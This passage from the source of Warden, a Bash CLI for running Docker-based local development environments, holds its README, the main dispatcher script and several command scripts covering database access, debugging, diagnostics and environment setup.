copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: README.md
================================================
# Warden

Warden is a CLI utility for orchestrating Docker based developer environments, and enables multiple local environments to run simultaneously without port conflicts via the use of a few centrally run services for proxying requests into the correct environment's containers.

<!-- include_open_stop -->

* [Warden Website](https://warden.dev/)
* [Warden Documentation](https://docs.warden.dev/)
* [Installing Warden](https://docs.warden.dev/installing.html)
* [Environment Types](https://docs.warden.dev/environments.html)
* [Docker Images](https://docs.warden.dev/images.html)

## Features

* Traefik for SSL termination and routing/proxying requests into the correct containers.
* Portainer for quick visibility into what's running inside the local Docker host.
* Dnsmasq to serve DNS responses for `.test` domains eliminating manual editing of `/etc/hosts`
* An SSH tunnel for connecting from Sequel Pro or TablePlus into any one of multiple running database containers.
* Warden issued wildcard SSL certificates for running https on all local development domains.
* Full support for Magento 1, Magento 2, Laravel, Symfony 4, Shopware 6 on both macOS and Linux.
* Ability to override, extend, or setup completely custom environment definitions on a per-project basis.

## Contributing

All contributions to the Warden project are welcome: use-cases, documentation, code, patches, bug reports, feature requests, etc. Any and all contributions may be made by submitting [Issues](https://github.com/davidalger/warden/issues) and [Pull Requests](https://github.com/davidalger/warden/pulls) here on Github.

Please note that by submitting a pull request or otherwise contributing to the Warden project, you warrant that each of your contributions is an original work and that you have full authority to grant rights to said contribution and by so doing you grant the owners of the Warden project, and those who receive the contribution directly or indirectly, a perpetual, worldwide, non-exclusive, royalty-free, irrevocable license to make, have made, use, offer to sell, sell and import or otherwise dispose of the contributions alone or with the Warden project in it's entirety.

## Where to Contribute

* [warden](https://github.com/wardenenv/warden) - `warden` commands and docker-compose files
* [images](https://github.com/wardenenv/images) - Docker images to be used by the docker-compose files
* [docs](https://github.com/wardenenv/docs) - Documentation (docs.warden.dev)
* [homebrew-warden](https://github.com/wardenenv/homebrew-warden) - Mac's Homebrew installation instructions and requirements

## License

This work is licensed under the MIT license. See [LICENSE](https://github.com/davidalger/warden/blob/develop/LICENSE) file for details.

## Author Information

This project was started in 2019 by [David Alger](https://davidalger.com/).

# Gold Sponsors
[![Sansec.io](https://warden.dev/img/sponsors/sansec.svg)](https://www.sansec.io/)  

Support Warden Development on <a href="https://opencollective.com/warden" rel="me" class="link">OpenCollective</a> or <a href="https://github.com/sponsors/wardenenv" rel="me" class="link">Github Sponsors</a>


================================================
FILE: TODO.md
================================================
* Selenium container hostname contain underscores (should be hyphens)
* Selenium container versions are not configurable via env variables
* tmp-mysql service does not depend on php-fpm or php-debug as it should
* tmp-mysql service hostname is poorly named


================================================
FILE: bin/warden
================================================
#!/usr/bin/env bash
set -e
trap 'error "$(printf "Command \`%s\` at $BASH_SOURCE:$LINENO failed with exit code $?" "$BASH_COMMAND")"' ERR

## find directory where this script is located following symlinks if necessary
readonly WARDEN_DIR="$(
  cd "$(
    dirname "$(
      (readlink "${BASH_SOURCE[0]}" || echo "${BASH_SOURCE[0]}") \
        | sed -e "s#^../#$(dirname "$(dirname "${BASH_SOURCE[0]}")")/#"
    )"
  )/.." >/dev/null \
  && pwd
)"

export readonly WARDEN_BIN="${WARDEN_DIR}/bin/warden"
export readonly DOCKER_COMPOSE_COMMAND="${DOCKER_COMPOSE_COMMAND:-"docker compose"}"

source "${WARDEN_DIR}/utils/core.sh"
source "${WARDEN_DIR}/utils/svc.sh"
source "${WARDEN_DIR}/utils/env.sh"

## verify docker is installed
if ! which docker >/dev/null; then
  fatal "docker could not be found; please install and try again."
fi

## verify docker compose meets version constraint
if [[ "${DOCKER_COMPOSE_COMMAND}" == "docker compose" ]]; then
  # Disable version check for experimental stuff
  DOCKER_COMPOSE_REQUIRE="2.2.3"
  DOCKER_COMPOSE_VERSION="$(${DOCKER_COMPOSE_COMMAND} version | grep -oE '[0-9\.]+' | head -n1)"
  if ! test $(version ${DOCKER_COMPOSE_VERSION}) -ge $(version ${DOCKER_COMPOSE_REQUIRE}); then
    fatal "docker compose version should be ${DOCKER_COMPOSE_REQUIRE} or higher (${DOCKER_COMPOSE_VERSION} installed)"
  fi
fi

## define and export global shared directory paths
export readonly WARDEN_HOME_DIR="${WARDEN_HOME_DIR:-"$HOME/.warden"}"
export readonly WARDEN_SSL_DIR="${WARDEN_HOME_DIR}/ssl"
export readonly WARDEN_COMPOSER_DIR="${WARDEN_COMPOSER_DIR:-"$HOME/.composer"}"

## declare variables for flags and arguments
declare WARDEN_HELP=
declare WARDEN_PARAMS=()
declare WARDEN_CMD_VERB=
declare WARDEN_CMD_EXEC=
declare WARDEN_CMD_HELP=
declare WARDEN_CMD_ANYARGS=(db debug doctor env redis shell svc sync)

## parse first argument as command and determine validity
if (( "$#" )); then
  ## local project directory if running within one; don't fail if it can't be found
  WARDEN_ENV_PATH="$(locateEnvPath 2>/dev/null)" || true

  if [[ -f "${WARDEN_ENV_PATH}/.warden/commands/${1}.cmd" ]]; then
    WARDEN_CMD_VERB="$1"
    WARDEN_CMD_ANYARGS+=("$1")
    WARDEN_CMD_EXEC="${WARDEN_ENV_PATH}/.warden/commands/${1}.cmd"
    WARDEN_CMD_HELP="${WARDEN_ENV_PATH}/.warden/commands/${1}.help"
    shift
  elif [[ -f "${WARDEN_HOME_DIR}/commands/${1}.cmd" ]]; then
    WARDEN_CMD_VERB="$1"
    WARDEN_CMD_ANYARGS+=("$1")
    WARDEN_CMD_EXEC="${WARDEN_HOME_DIR}/commands/${1}.cmd"
    WARDEN_CMD_HELP="${WARDEN_HOME_DIR}/commands/${1}.help"
    shift
  elif [[ -f "${WARDEN_DIR}/commands/${1}.cmd" ]]; then
    WARDEN_CMD_VERB="$1"
    WARDEN_CMD_EXEC="${WARDEN_DIR}/commands/${1}.cmd"
    WARDEN_CMD_HELP="${WARDEN_DIR}/commands/${1}.help"
    shift
  else
    WARDEN_HELP=1
  fi
else
  WARDEN_HELP=1
fi

## parse arguments
while (( "$#" )); do
  case "$1" in
    -h|--help)
      WARDEN_HELP=1
      break
      ;;
    -v|--verbose)
      WARDEN_VERBOSE=1
      break
      ;;
    --) # end argument parsing (unless command is on 'anyargs' list and consumes anything as params)
      shift
      containsElement "${WARDEN_CMD_VERB}" "${WARDEN_CMD_ANYARGS[@]}" || break
      ;;
    -*|--*=) # unsupported flags (unless command is on 'anyargs' list and consumes anything as params)
      containsElement "${WARDEN_CMD_VERB}" "${WARDEN_CMD_ANYARGS[@]}" && break
      fatal "Unsupported flag $1"
      ;;
    *) # preserve positional arguments
      WARDEN_PARAMS+=("$1")
      shift
      ;;
  esac
done

## display command specific usage info if help flag is set
if [[ ${WARDEN_HELP} ]]; then
  source "${WARDEN_DIR}/commands/usage.cmd"
fi


## execute sub-command in context of this script
source "${WARDEN_CMD_EXEC}"


================================================
FILE: commands/blackfire.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_ENV_PATH="$(locateEnvPath)" || exit $?
loadEnvConfig "${WARDEN_ENV_PATH}" || exit $?

## set defaults for this command which can be overridden either using exports in the user
## profile or setting them in the .env configuration on a per-project basis
WARDEN_ENV_BLACKFIRE_COMMAND=${WARDEN_ENV_BLACKFIRE_COMMAND:-blackfire}
WARDEN_ENV_BLACKFIRE_CONTAINER=${WARDEN_ENV_BLACKFIRE_CONTAINER:-php-blackfire}

## allow return codes from sub-process to bubble up normally
trap '' ERR

"$WARDEN_BIN" env exec "${WARDEN_ENV_BLACKFIRE_CONTAINER}" \
    "${WARDEN_ENV_BLACKFIRE_COMMAND}" "${WARDEN_PARAMS[@]}" "$@"


================================================
FILE: commands/blackfire.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE=$(cat <<EOF
\033[33mUsage:\033[0m
  blackfire [args]

\033[33mOptions:\033[0m
  -h, --help        Display this help menu
EOF
)


================================================
FILE: commands/db.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_ENV_PATH="$(locateEnvPath)" || exit $?
loadEnvConfig "${WARDEN_ENV_PATH}" || exit $?
assertDockerRunning

if [[ ${WARDEN_DB:-1} -eq 0 ]]; then
  fatal "Database environment is not used (WARDEN_DB=0)."
fi

if (( ${#WARDEN_PARAMS[@]} == 0 )) || [[ "${WARDEN_PARAMS[0]}" == "help" ]]; then
  $WARDEN_BIN db --help || exit $? && exit $?
fi

## load connection information for the mysql service
DB_CONTAINER=$($WARDEN_BIN env ps -q db)
if [[ ! ${DB_CONTAINER} ]]; then
    fatal "No container found for db service."
fi

eval "$(
    docker container inspect ${DB_CONTAINER} --format '
        {{- range .Config.Env }}{{with split . "=" -}}
            {{- index . 0 }}='\''{{ range $i, $v := . }}{{ if $i }}{{ $v }}{{ end }}{{ end }}'\''{{println}}
        {{- end }}{{ end -}}
    ' | grep "^MYSQL_"
)"

## sub-command execution
case "${WARDEN_PARAMS[0]}" in
    connect)
        "$WARDEN_BIN" env exec db \
            mysql -u"${MYSQL_USER}" -p"${MYSQL_PASSWORD}" --database="${MYSQL_DATABASE}" "${WARDEN_PARAMS[@]:1}" "$@"
        ;;
    import)
        LC_ALL=C sed -E 's/DEFINER[ ]*=[ ]*`[^`]+`@`[^`]+`/DEFINER=CURRENT_USER/g' \
            | LC_ALL=C sed -E '/\@\@(GLOBAL\.GTID_PURGED|SESSION\.SQL_LOG_BIN)/d' \
            | "$WARDEN_BIN" env exec -T db \
            mysql -u"${MYSQL_USER}" -p"${MYSQL_PASSWORD}" --database="${MYSQL_DATABASE}" "${WARDEN_PARAMS[@]:1}" "$@"
        ;;
    dump)
            "$WARDEN_BIN" env exec -T db \
            mysqldump -u"${MYSQL_USER}" -p"${MYSQL_PASSWORD}" "${MYSQL_DATABASE}" "${WARDEN_PARAMS[@]:1}" "$@"
        ;;
    upgrade)
            if [ "$MYSQL_DISTRIBUTION" == "mysql" ]; then
                upgradeCmd="mysql_upgrade"
            elif [ "$MYSQL_DISTRIBUTION" == "mariadb" ]; then
                upgradeCmd="mariadb-upgrade"
            else
                fatal "The upgrade command only supports MySQL and MariaDB installations."
                exit 1
            fi

            "$WARDEN_BIN" env exec -T db \
            ${upgradeCmd} -p"${MYSQL_ROOT_PASSWORD}"
        ;;
    *)
        fatal "The command \"${WARDEN_PARAMS[0]}\" does not exist. Please use --help for usage."
        ;;
esac


================================================
FILE: commands/db.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE=$(cat <<EOF
\033[33mUsage:\033[0m
  db <sub-command>

\033[33mOptions:\033[0m
  -h, --help        Display this help menu

\033[33mCommands:\033[0m
  connect                  Launches an interactive mysql session within the current project environment
  import                   Reads data from stdin and loads it into the current project\047s mysql database
  dump                     Dumps database from db container via mysqldump
  upgrade                  Runs the relevant *SQL upgrade command when the project\047s database version updates
EOF
)


================================================
FILE: commands/debug.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_ENV_PATH="$(locateEnvPath)" || exit $?
loadEnvConfig "${WARDEN_ENV_PATH}" || exit $?

## set defaults for this command which can be overridden either using exports in the user
## profile or setting them in the .env configuration on a per-project basis
WARDEN_ENV_DEBUG_COMMAND=${WARDEN_ENV_DEBUG_COMMAND:-bash}
WARDEN_ENV_DEBUG_CONTAINER=${WARDEN_ENV_DEBUG_CONTAINER:-php-debug}
WARDEN_ENV_DEBUG_HOST=${WARDEN_ENV_DEBUG_HOST:-}

if [[ ${WARDEN_ENV_DEBUG_HOST} == "" ]]; then
    if [[ $OSTYPE =~ ^darwin ]] || grep -sqi microsoft /proc/sys/kernel/osrelease; then
        WARDEN_ENV_DEBUG_HOST=host.docker.internal
    else
        WARDEN_ENV_DEBUG_HOST=$(
            docker container inspect $($WARDEN_BIN env ps -q php-debug) \
                --format '{{range .NetworkSettings.Networks}}{{println .Gateway}}{{end}}' | head -n1
        )
    fi
fi

## allow return codes from sub-process to bubble up normally
trap '' ERR

"$WARDEN_BIN" env exec -e "XDEBUG_REMOTE_HOST=${WARDEN_ENV_DEBUG_HOST}" \
    "${WARDEN_ENV_DEBUG_CONTAINER}" "${WARDEN_ENV_DEBUG_COMMAND}" "${WARDEN_PARAMS[@]}" "$@"


================================================
FILE: commands/debug.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE=$(cat <<EOF
\033[33mUsage:\033[0m
  debug [args]

\033[33mOptions:\033[0m
  -h, --help        Display this help menu
EOF
)


================================================
FILE: commands/doctor.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

## Disable immediate exit on failure (set in main warden bin), we use this to detect whether docker is running and continue.
set +e

## Allow return codes from sub-process to bubble up normally, necessary for command testing
trap '' ERR

if [[ ${WARDEN_VERBOSE} -eq 1 ]]; then
    echo -e "\033[31mWarden doctor is in verbose mode and will output environment variables to to the terminal, please do not copy any sensitive environment variable values into a bug report.\033[0m\n"
fi

# The warden doctor command is designed to collect information useful in reasoning about the state of a system and configuration Warden is running on.
if [[ ${OSTYPE} =~ ^darwin ]]; then
    echo -e "\033[032mHost information:\033[0m"
    sw_vers --productName
    sw_vers --productVersion
fi
echo

echo -e "\033[32mOS, version, architecture:\033[0m"
uname -orm
echo

command -v brew &>/dev/null
if [[ $? -eq 0 ]]; then
    echo -e "\033[32mHomebrew information:\033[0m"
    brew config
fi
echo

echo -e "\033[32mContainer runtime and compose information:\033[0m"
docker --version
${DOCKER_COMPOSE_COMMAND} version
echo

echo -e "\033[32mWarden version:\033[0m"
${WARDEN_BIN} version
echo

echo -e "\033[32mWarden global .env:\033[0m"
cat ${WARDEN_HOME_DIR}/.env
echo

echo -e "\033[32mWarden service override via Docker compose file:\033[0m"
if [[ -f ${WARDEN_HOME_DIR}/docker-compose.yml ]]; then
    echo -e "\033[33mWarden services have additional service configuration added or overridden via ${WARDEN_HOME_DIR}/docker-compose.yml file.\033[0m"
else
    echo -e "\033[33mWarden services do not appear to be overridden via ${WARDEN_HOME_DIR}/docker-compose.yml file.\033[0m"
fi
echo

echo -e "\033[32mWarden service override via ${WARDEN_HOME_DIR}/warden-env.yml partial:\033[0m"
if [[ -f ${WARDEN_HOME_DIR}/warden-env.yml ]]; then
    echo -e "\033[33mWarden services have additional service configuration added or overridden via ${WARDEN_HOME_DIR}/warden-env.yml partial.\033[0m"
else
    echo -e "\033[33mWarden services do not appear to be overridden via ${WARDEN_HOME_DIR}/warden-env.yml partial.\033[0m"
fi
echo

echo -e "\033[32mWarden project .env:\033[0m"
if [[ -f ./.env ]]; then
    echo -e "\033[33mWarden project directory, detected.\033[0m"
    if [[ ${WARDEN_VERBOSE} -eq 1 ]]; then
        cat ./.env
    fi
else
    echo -e "\033[33mNot currently in a Warden project directory, no ./.env is present.\033[0m"
fi
echo

echo -e "\033[32mWarden project override via ./.warden/warden-env.yml:\033[0m"
if [[ -f ./.warden/warden-env.yml ]]; then
    cat ./.warden/warden-env.yml
else
    echo -e "\033[33mWarden and project services do not appear to be overridden via project level override ./.warden/warden-env.yml.\033[0m"
fi
echo

docker stats --no-stream &>/dev/null
# Docker is required to be running for the next set of commands
if [[ $? -eq 0 ]]; then
    echo -e "\033[32mWarden image, tag and architecture:\033[0m"

    WARDEN_IMAGES=$(docker images --format "{{.Repository}}:{{.Tag}}" | grep -i wardenenv)
    for img in ${WARDEN_IMAGES}; do
        echo $img:$(docker image inspect $img --format "{{.Architecture}}");
    done
    echo

    echo -e "\033[32mWarden environments and service configuration files:\033[0m"
    command -v jq >/dev/null
    if [[ $? -eq 0 ]]
    then
        ${WARDEN_BIN} svc ls -a --format json | jq '.[] | (.Name + " - " + .Status), (.ConfigFiles | split(","))'
    else
        ${WARDEN_BIN} svc ls -a --format table
    fi
    echo

    echo -e "\033[32mWarden status:\033[0m"
    ${WARDEN_BIN} status
else
    echo "Docker does not appear to be running. Start Docker and re-run this command to see Warden images, tags and architecture."
fi
echo

command -v mutagen &>/dev/null
if [[ $? -eq 0 ]]; then
    echo -e "\033[32mMutagen sync list\033[0m"
    mutagen sync list
fi
echo


================================================
FILE: commands/doctor.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE=$(cat <<EOF
\033[33mUsage:\033[0m
  doctor [args]

\033[33mOptions:\033[0m
  -h, --help        Display this help menu
  -v, --verbose     Dislpay Warden enviornment variables
EOF
)


================================================
FILE: commands/env-init.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_ENV_PATH="$(pwd -P)"

# Prompt user if there is an extant .env file to ensure they intend to overwrite
if test -f "${WARDEN_ENV_PATH}/.env"; then
  while true; do
    read -p $'\033[32mA warden env file already exists at '"${WARDEN_ENV_PATH}/.env"$'; would you like to overwrite? y/n\033[0m ' resp
    case $resp in
      [Yy]*) echo "Overwriting extant .env file"; break;;
      [Nn]*) exit;;
      *) echo "Please answer (y)es or (n)o";;
    esac
  done
fi

WARDEN_ENV_NAME="${WARDEN_PARAMS[0]:-}"

# If warden environment name was not provided, prompt user for it
while [ -z "${WARDEN_ENV_NAME}" ]; do
  read -p $'\033[32mAn environment name was not provided; please enter one:\033[0m ' WARDEN_ENV_NAME
done

WARDEN_ENV_TYPE="${WARDEN_PARAMS[1]:-}"

# If warden environment type was not provided, prompt user for it
if [ -z "${WARDEN_ENV_TYPE}" ]; then
  while true; do
    read -p $'\033[32mAn environment type was not provided; please choose one of ['"$(fetchValidEnvTypes)"$']:\033[0m ' WARDEN_ENV_TYPE
    assertValidEnvType && break
  done
fi

# Verify the auto-select and/or type path resolves correctly before setting it
assertValidEnvType || exit $?

# Write the .env file to current working directory
cat > "${WARDEN_ENV_PATH}/.env" <<EOF
WARDEN_ENV_NAME=${WARDEN_ENV_NAME}
WARDEN_ENV_TYPE=${WARDEN_ENV_TYPE}
WARDEN_WEB_ROOT=/

TRAEFIK_DOMAIN=${WARDEN_ENV_NAME}.test
TRAEFIK_SUBDOMAIN=app
EOF

ENV_INIT_FILE=$(fetchEnvInitFile)
if [[ ! -z $ENV_INIT_FILE ]]; then
  export WARDEN_ENV_NAME
  export GENERATED_APP_KEY="base64:$(dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64)"
  envsubst '$WARDEN_ENV_NAME:$GENERATED_APP_KEY' < "${ENV_INIT_FILE}" >> "${WARDEN_ENV_PATH}/.env"
fi

if [ -s "${WARDEN_ENV_PATH}/.env" ]; then
  printf "A warden env file was created at ${WARDEN_ENV_PATH}/.env\nYou may now use \'warden env up\' to start your environment.\n"
  exit 0
fi

================================================
FILE: commands/env-init.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE=$(cat <<EOF
\033[33mUsage:\033[0m
  env-init <project_name> <environment_type>

\033[33mOptions:\033[0m
  -h, --help        Display this help menu

\033[33mEnvironment Types:\033[0m
  local               Declares the docker compose version and labels the project
                      network allowing Warden to recognize it. Must be coupled with
                      per-project configuration. See documentation for details:
                      https://docs.warden.dev/environments/types.html#local

  drupal              Nginx, php-fpm, and db (mariadb) pre-configured for running
                      Drupal

  laravel             Nginx, php-fpm, db (mariadb), and redis services
                      pre-configured for running Laravel

  magento2            Nginx, varnish, php-fpm, db (mariadb), elasticsearch, redis,
                      and rabbitmq services pre configured for Magento 2; on macOS
                      systems code files are synced into container using mutagen
                      session with pub/media, pub/static and var dirs excluded.
                      On Linux code is mounted natively.

  magento1            Nginx, php-fpm, db (mariadb), and redis services
                      pre-configured for running Magento 1

  symfony             Nginx, php-fpm, db (mariadb), and redis services
                      pre-configured for running Symfony 4+
                      Due to the fact that Symfony uses '.env' file too,
                      WEBROOT value of '/web/' is used by default

  wordpress           Nginx, php-fpm, db
                      pre-configured for running Wordpress
EOF
)


================================================
FILE: commands/env.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_ENV_PATH="$(locateEnvPath)" || exit $?
loadEnvConfig "${WARDEN_ENV_PATH}" || exit $?
assertDockerRunning

## warn if global services are not running
if [[ "${WARDEN_PARAMS[0]}" == "up" ]]; then
    assertSvcRunning
fi

HOST_UID=$(id -u)
HOST_GID=$(id -g)

if (( ${#WARDEN_PARAMS[@]} == 0 )) || [[ "${WARDEN_PARAMS[0]}" == "help" ]]; then
  # shellcheck disable=SC2153
  $WARDEN_BIN env --help || exit $? && exit $?
fi

## allow return codes from sub-process to bubble up normally
trap '' ERR

## define source repository
if [[ -f "${WARDEN_HOME_DIR}/.env" ]]; then
  eval "$(sed 's/\r$//g' < "${WARDEN_HOME_DIR}/.env" | grep "^WARDEN_")"
fi
export WARDEN_IMAGE_REPOSITORY="${WARDEN_IMAGE_REPOSITORY:-"docker.io/wardenenv"}"

export WARDEN_DOCKER_USERNS_MODE="${WARDEN_DOCKER_USERNS_MODE:-host}"

## configure environment type defaults
if [[ ${WARDEN_ENV_TYPE} =~ ^magento ]]; then
    export WARDEN_SVC_PHP_VARIANT=-${WARDEN_ENV_TYPE}
fi
if [[ ${WARDEN_NIGHTLY} -eq 1 ]]; then
    export WARDEN_SVC_PHP_IMAGE_SUFFIX="-indev"
fi

## configure xdebug version
export XDEBUG_VERSION="debug" # xdebug2 image
if [[ ${PHP_XDEBUG_3} -eq 1 ]]; then
    export XDEBUG_VERSION="xdebug3"
fi

if [[ ${WARDEN_ENV_TYPE} != local ]]; then
    WARDEN_NGINX=${WARDEN_NGINX:-1}
    WARDEN_DB=${WARDEN_DB:-1}
    WARDEN_REDIS=${WARDEN_REDIS:-1}

    # define bash history folder for changing permissions
    WARDEN_CHOWN_DIR_LIST="/bash_history /home/www-data/.ssh ${WARDEN_CHOWN_DIR_LIST:-}"
fi
export CHOWN_DIR_LIST=${WARDEN_CHOWN_DIR_LIST:-}

if [[ ${WARDEN_ENV_TYPE} == "magento1" && -f "${WARDEN_ENV_PATH}/.modman/.basedir" ]]; then
  NGINX_PUBLIC='/'$(cat "${WARDEN_ENV_PATH}/.modman/.basedir")
  export NGINX_PUBLIC
fi

if [[ ${WARDEN_ENV_TYPE} == "magento2" ]]; then
    WARDEN_VARNISH=${WARDEN_VARNISH:-1}
    WARDEN_ELASTICSEARCH=${WARDEN_ELASTICSEARCH:-1}
    WARDEN_RABBITMQ=${WARDEN_RABBITMQ:-1}
    WARDEN_MAGENTO2_GRAPHQL_SERVER=${WARDEN_MAGENTO2_GRAPHQL_SERVER:-0}
    WARDEN_MAGENTO2_GRAPHQL_SERVER_DEBUG=${WARDEN_MAGENTO2_GRAPHQL_SERVER_DEBUG:-0}
fi

## WSL1/WSL2 are GNU/Linux env type but still run Docker Desktop
if [[ ${XDEBUG_CONNECT_BACK_HOST} == '' ]] && grep -sqi microsoft /proc/sys/kernel/osrelease; then
    export XDEBUG_CONNECT_BACK_HOST=host.docker.internal
fi

## For linux, if UID is 1000, there is no need to use the socat proxy.
if [[ ${WARDEN_ENV_SUBT} == "linux" && $UID == 1000 ]]; then
    export SSH_AUTH_SOCK_PATH_ENV=/run/host-services/ssh-auth.sock
fi

## configure docker compose files
DOCKER_COMPOSE_ARGS=()

appendEnvPartialIfExists "networks"

if [[ ${WARDEN_ENV_TYPE} != local ]]; then
    appendEnvPartialIfExists "php-fpm"
fi

[[ ${WARDEN_NGINX} -eq 1 ]] \
    && appendEnvPartialIfExists "nginx"

[[ ${WARDEN_DB} -eq 1 ]] \
    && appendEnvPartialIfExists "db"

[[ ${WARDEN_ELASTICSEARCH} -eq 1 ]] \
    && appendEnvPartialIfExists "elasticsearch"

[[ ${WARDEN_ELASTICHQ:=1} -eq 1 ]] \
    && appendEnvPartialIfExists "elastichq"

[[ ${WARDEN_OPENSEARCH} -eq 1 ]] \
    && appendEnvPartialIfExists "opensearch"

[[ ${WARDEN_VARNISH} -eq 1 ]] \
    && appendEnvPartialIfExists "varnish"

[[ ${WARDEN_RABBITMQ} -eq 1 ]] \
    && appendEnvPartialIfExists "rabbitmq"

[[ ${WARDEN_REDIS} -eq 1 ]] \
    && appendEnvPartialIfExists "redis"

[[ ${WARDEN_VALKEY:=0} -eq 1 ]] \
    && appendEnvPartialIfExists "valkey"

appendEnvPartialIfExists "${WARDEN_ENV_TYPE}"

[[ ${WARDEN_TEST_DB} -eq 1 ]] \
    && appendEnvPartialIfExists "${WARDEN_ENV_TYPE}.tests"

[[ ${WARDEN_SPLIT_SALES} -eq 1 ]] \
    && appendEnvPartialIfExists "${WARDEN_ENV_TYPE}.splitdb.sales"

[[ ${WARDEN_SPLIT_CHECKOUT} -eq 1 ]] \
    && appendEnvPartialIfExists "${WARDEN_ENV_TYPE}.splitdb.checkout"

if [[ ${WARDEN_BLACKFIRE} -eq 1 ]]; then
    appendEnvPartialIfExists "blackfire"
    appendEnvPartialIfExists "${WARDEN_ENV_TYPE}.blackfire"
fi

[[ ${WARDEN_ALLURE} -eq 1 ]] \
    && appendEnvPartialIfExists "allure"

[[ ${WARDEN_SELENIUM} -eq 1 ]] \
    && appendEnvPartialIfExists "selenium"

[[ ${WARDEN_MAGEPACK} -eq 1 ]] \
    && appendEnvPartialIfExists "${WARDEN_ENV_TYPE}.magepack"

[[ ${WARDEN_MAGENTO2_GRAPHQL_SERVER} -eq 1 ]] \
    && appendEnvPartialIfExists "${WARDEN_ENV_TYPE}.graphql"
[[ ${WARDEN_MAGENTO2_GRAPHQL_SERVER_DEBUG} -eq 1 ]] \
    && appendEnvPartialIfExists "${WARDEN_ENV_TYPE}.graphql-debug"

[[ ${WARDEN_PHP_SPX} -eq 1 ]] \
    && appendEnvPartialIfExists "php-spx"

if [[ -f "${WARDEN_ENV_PATH}/.warden/warden-env.yml" ]]; then
    DOCKER_COMPOSE_ARGS+=("-f")
    DOCKER_COMPOSE_ARGS+=("${WARDEN_ENV_PATH}/.warden/warden-env.yml")
fi

if [[ -f "${WARDEN_ENV_PATH}/.warden/warden-env.${WARDEN_ENV_SUBT}.yml" ]]; then
    DOCKER_COMPOSE_ARGS+=("-f")
    DOCKER_COMPOSE_ARGS+=("${WARDEN_ENV_PATH}/.warden/warden-env.${WARDEN_ENV_SUBT}.yml")
fi

if [[ ${WARDEN_SELENIUM_DEBUG} -eq 1 ]]; then
    export WARDEN_SELENIUM_DEBUG="-debug"
else
    export WARDEN_SELENIUM_DEBUG=
fi

## disconnect peered service containers from environment network
if [[ "${WARDEN_PARAMS[0]}" == "down" ]]; then
    disconnectPeeredServices "$(renderEnvNetworkName)"

    ## regenerate PMA config on each env changing
    regeneratePMAConfig
fi

## connect peered service containers to environment network
if [[ "${WARDEN_PARAMS[0]}" == "up" ]]; then
    ## create environment network for attachments if it does not already exist
    if [[ $(docker network ls -f "name=$(renderEnvNetworkName)" -q) == "" ]]; then
        ${DOCKER_COMPOSE_COMMAND} \
            --project-directory "${WARDEN_ENV_PATH}" -p "${WARDEN_ENV_NAME}" \
            "${DOCKER_COMPOSE_ARGS[@]}" up --no-start
    fi

    ## connect globally peered services to the environment network
    connectPeeredServices "$(renderEnvNetworkName)"

    ## always execute env up using --detach mode
    if ! (containsElement "-d" "$@" || containsElement "--detach" "$@"); then
        WARDEN_PARAMS=("${WARDEN_PARAMS[@]:1}")
        WARDEN_PARAMS=(up -d "${WARDEN_PARAMS[@]}")
    fi

    ## regenerate PMA config on each env changing
    regeneratePMAConfig
fi

## lookup address of traefik container on environment network
TRAEFIK_ADDRESS="$(docker container inspect traefik \
    --format '
        {{- $network := index .NetworkSettings.Networks "'"$(renderEnvNetworkName)"'" -}}
        {{- if $network }}{{ $network.IPAddress }}{{ end -}}
    ' 2>/dev/null || true
)"
export TRAEFIK_ADDRESS;

if [[ ${WARDEN_MUTAGEN_ENABLE} -eq 1 ]]; then
    export MUTAGEN_SYNC_FILE="${WARDEN_DIR}/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.mutagen.yml"

    if [[ -f "${WARDEN_HOME_DIR}/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.mutagen.yml" ]]; then
        export MUTAGEN_SYNC_FILE="${WARDEN_HOME_DIR}/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.mutagen.yml"
    fi

